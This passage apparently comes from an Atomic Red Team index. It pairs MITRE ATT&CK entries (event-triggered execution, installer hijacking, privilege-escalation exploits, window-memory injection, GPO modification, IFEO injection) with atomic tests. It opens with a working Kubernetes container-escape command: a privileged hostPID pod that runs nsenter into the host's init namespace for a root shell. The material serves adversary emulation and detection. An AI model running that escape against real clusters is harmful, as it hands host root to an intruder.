        - https://securekubernetes.com/scenario_2_attack/
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

'
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

'
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker

'
        get_prereq_command: 'sudo systemctl start docker

'
      - description: Verify kind is in the path.
        prereq_command: 'which kind

'
        get_prereq_command: |
          curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
          chmod +x ./kind
          mv kind /usr/bin/kind
      - description: Verify kind-atomic-cluster is created
        prereq_command: 'sudo kind get clusters

'
        get_prereq_command: 'sudo kind create cluster --name atomic-cluster

'
      - description: Verify kubectl is in path
        prereq_command: 'which kubectl

'
        get_prereq_command: |
          curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
          chmod +x ./kubectl
          mv kubectl /usr/bin/kubectl
      executor:
        command: 'kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod
          --restart=Never -ti --rm --image alpine --overrides ''{"spec":{"hostPID":
          true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":
          true,"tty":true,"securityContext":{"privileged":true}}]}}''

'
        name: sh
        cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod

'
  T1546:
    technique:
      id: attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db
      description: "Adversaries may establish persistence and/or elevate privileges
        using system mechanisms that trigger execution based on specific events. Various
        operating systems have means to monitor and subscribe to events such as logons
        or other user activity such as running specific applications/binaries. \n\nAdversaries
        may abuse these mechanisms as a means of maintaining persistent access to
        a victim via repeatedly executing malicious code. After gaining access to
        a victim system, adversaries may create/modify event triggers to point to
        malicious content that will be executed whenever the event trigger is invoked.(Citation:
        FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia
        malware)\n\nSince the execution can be proxied by an account with higher permissions,
        such as SYSTEM or service accounts, an adversary may be able to abuse these
        triggered execution mechanisms to escalate their privileges. "
      name: Event Triggered Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546
        url: https://attack.mitre.org/techniques/T1546
      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
        source_name: FireEye WMI 2015
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        source_name: Malware Persistence on OS X
      - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux
          Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.
        source_name: amnesia malware
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:32:54.610Z'
      created: '2020-01-22T21:04:23.285Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'WMI: WMI Creation'
      - 'File: File Metadata'
      - 'Module: Module Load'
      x_mitre_detection: "Monitoring for additions or modifications of mechanisms
        that could be used to trigger event-based execution, especially the addition
        of abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network. Also look for changes that do
        not line up with updates, patches, or other planned administrative activity.
        \n\nThese mechanisms may vary by OS, but are typically stored in central repositories
        that store configuration information such as the Windows Registry, Common
        Information Model (CIM), and/or specific named files, the last of which can
        be hashed and compared to known good values. \n\nMonitor for processes, API/System
        calls, and other common ways of manipulating these event repositories. \n\nTools
        such as Sysinternals Autoruns can be used to detect changes to execution triggers
        that could be attempts at persistence. Also look for abnormal process call
        trees for execution of other commands that could relate to Discovery actions
        or other techniques.  \n\nMonitor DLL loads by processes, specifically looking
        for DLLs that are not recognized or not normally loaded into a process. Look
        for abnormal process behavior that may be due to a process loading a malicious
        DLL. Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as making network connections
        for Command and Control, learning details about the environment through Discovery,
        and conducting Lateral Movement. "
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
    atomic_tests: []
  T1574.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-26T19:20:23.030Z'
      created: '2020-03-13T11:12:18.558Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1068:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1068
        url: https://attack.mitre.org/techniques/T1068
      - source_name: ESET InvisiMole June 2020
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
      - source_name: Unit42 AcidBox June 2020
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
      - source_name: Microsoft Driver Block Rules
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
        description: Microsoft. (2020, October 15). Microsoft recommended driver block
          rules. Retrieved March 16, 2021.
      description: |-
        Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

        When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

        Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).
      name: Exploitation for Privilege Escalation
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-22T16:13:34.896Z'
      created: '2017-05-31T21:30:55.066Z'
      x_mitre_contributors:
      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
      - Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security
      - Idan Revivo, @idanr86, Team Nautilus Aqua Security
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      x_mitre_detection: |-
        Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)

        Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.
      x_mitre_effective_permissions:
      - User
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1055.011:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.011
        url: https://attack.mitre.org/techniques/T1055/011
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
          2017.
        source_name: Microsoft Window Classes
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft GetWindowLong function
      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
          16, 2017.
        source_name: Microsoft SetWindowLong function
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
          truly amazing. Retrieved December 16, 2017.
        source_name: MalwareTech Power Loader Aug 2013
      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
          on Power Loader code. Retrieved December 16, 2017.
        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
          16, 2017.
        source_name: Microsoft SendNotifyMessage function
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Extra Window Memory Injection
      description: "Adversaries may inject malicious code into process via Extra Window
        Memory (EWM) in order to evade process-based defenses as well as possibly
        elevate privileges. EWM injection is a method of executing arbitrary code
        in the address space of a separate live process. \n\nBefore creating a window,
        graphical Windows-based processes must prescribe to or register a windows
        class, which stipulate appearance and behavior (via windows procedures, which
        are functions that handle input/output of data).(Citation: Microsoft Window
        Classes) Registration of new windows classes can include a request for up
        to 40 bytes of EWM to be appended to the allocated memory of each instance
        of that class. This EWM is intended to store data specific to that window
        and has specific application programming interface (API) functions to set
        and get its value. (Citation: Microsoft GetWindowLong function) (Citation:
        Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough
        to store a 32-bit pointer and is often used to point to a windows procedure.
        Malware may possibly utilize this memory location in part of an attack chain
        that includes writing code to shared sections of the process’s memory, placing
        a pointer to the code in EWM, then invoking execution by returning execution
        control to the address in the process’s EWM.\n\nExecution granted through
        EWM injection may allow access to both the target process's memory and possibly
        elevated privileges. Writing payloads to shared sections also avoids the use
        of highly monitored API calls such as <code>WriteProcessMemory</code> and
        <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July
        2017) More sophisticated malware samples may also potentially bypass protection
        mechanisms such as data execution prevention (DEP) by triggering a combination
        of windows procedures and other system functions that will rewrite the malicious
        payload inside an executable portion of the target process.  (Citation: MalwareTech
        Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning
        code in the context of another process may allow access to the process's memory,
        system/network resources, and possibly elevated privileges. Execution via
        EWM injection may also evade detection from security products since the execution
        is masked under a legitimate process. "
      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:31.004Z'
      created: '2020-01-14T17:18:32.126Z'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
        EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
        SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
        with this technique have also used SendNotifyMessage (Citation: Microsoft
        SendNotifyMessage function) to trigger the associated window procedure and
        eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1484.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1484.001
        url: https://attack.mitre.org/techniques/T1484/001
      - source_name: TechNet Group Policy Basics
        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
          Understanding the Structure of a Group Policy Object. Retrieved March 5,
          2019.'
      - source_name: ADSecurity GPO Persistence 2016
        url: https://adsecurity.org/?p=2716
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
      - source_name: Wald0 Guide to GPOs
        url: https://wald0.com/?p=179
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
      - source_name: Harmj0y Abusing GPO Permissions
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
      - source_name: Mandiant M Trends 2016
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
      - source_name: Microsoft Hacking Team Breach
        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
          A Cyber Jurassic Park. Retrieved March 5, 2019.'
      - source_name: Harmj0y SeEnableDelegationPrivilege Right
        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Group Policy Modification
      description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
        the intended discretionary access controls for a domain, usually with the
        intention of escalating privileges on the domain. Group policy allows for
        centralized management of user and computer settings in Active Directory (AD).
        GPOs are containers for group policy settings made up of files stored within
        a predicable network path <code>\\\\&lt;DOMAIN&gt;\\SYSVOL\\&lt;DOMAIN&gt;\\Policies\\</code>.(Citation:
        TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike
        other objects in AD, GPOs have access controls associated with them. By default
        all user accounts in the domain have permission to read GPOs. It is possible
        to delegate GPO access control permissions, e.g. write access, to specific
        users or groups in the domain.\n\nMalicious GPO modifications can be used
        to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001),
        [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create
        Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),
        \ and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide
        to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends
        2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many
        user and machine settings in the AD environment, there are a great number
        of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide
        to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code>
        can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)
        by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation:
        Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases
        an adversary might modify specific user rights like SeEnableDelegationPrivilege,
        set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>,
        to achieve a subtle AD backdoor with complete control of the domain because
        the user account under the adversary's control would then be able to modify
        GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:52:24.315Z'
      created: '2020-12-28T21:50:59.844Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:

        * Event ID 5136 - A directory service object was modified
        * Event ID 5137 - A directory service object was created
        * Event ID 5138 - A directory service object was undeleted
        * Event ID 5139 - A directory service object was moved
        * Event ID 5141 - A directory service object was deleted


        GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      - Tristan Bennett, Seamless Intelligence
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1574:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574
        url: https://attack.mitre.org/techniques/T1574
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:20.290Z'
      created: '2020-03-12T20:38:12.465Z'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1546.012:
    technique:
      created: '2020-01-24T15:05:58.384Z'
      modified: '2020-11-10T18:29:31.112Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

        IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

        Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

        Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
      name: Image File Execution Options Injection
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.012
        url: https://attack.mitre.org/techniques/T1546/012
      - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
        description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
          Retrieved December 18, 2017.
        source_name: Microsoft Dev Blog IFEO Mar 2010
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
        description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
          18, 2017.
        source_name: Microsoft GFlags Mar 2017
      - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
        description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
          Process Exit. Retrieved June 27, 2018.
        source_name: Microsoft Silent Process Exit NOV 2017
      - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
        description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
          File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
        source_name: Oddvar Moe IFEO APR 2018
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
        description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
          Retrieved December 18, 2017.
        source_name: FSecure Hupigon
      - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
        description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
          18, 2017.
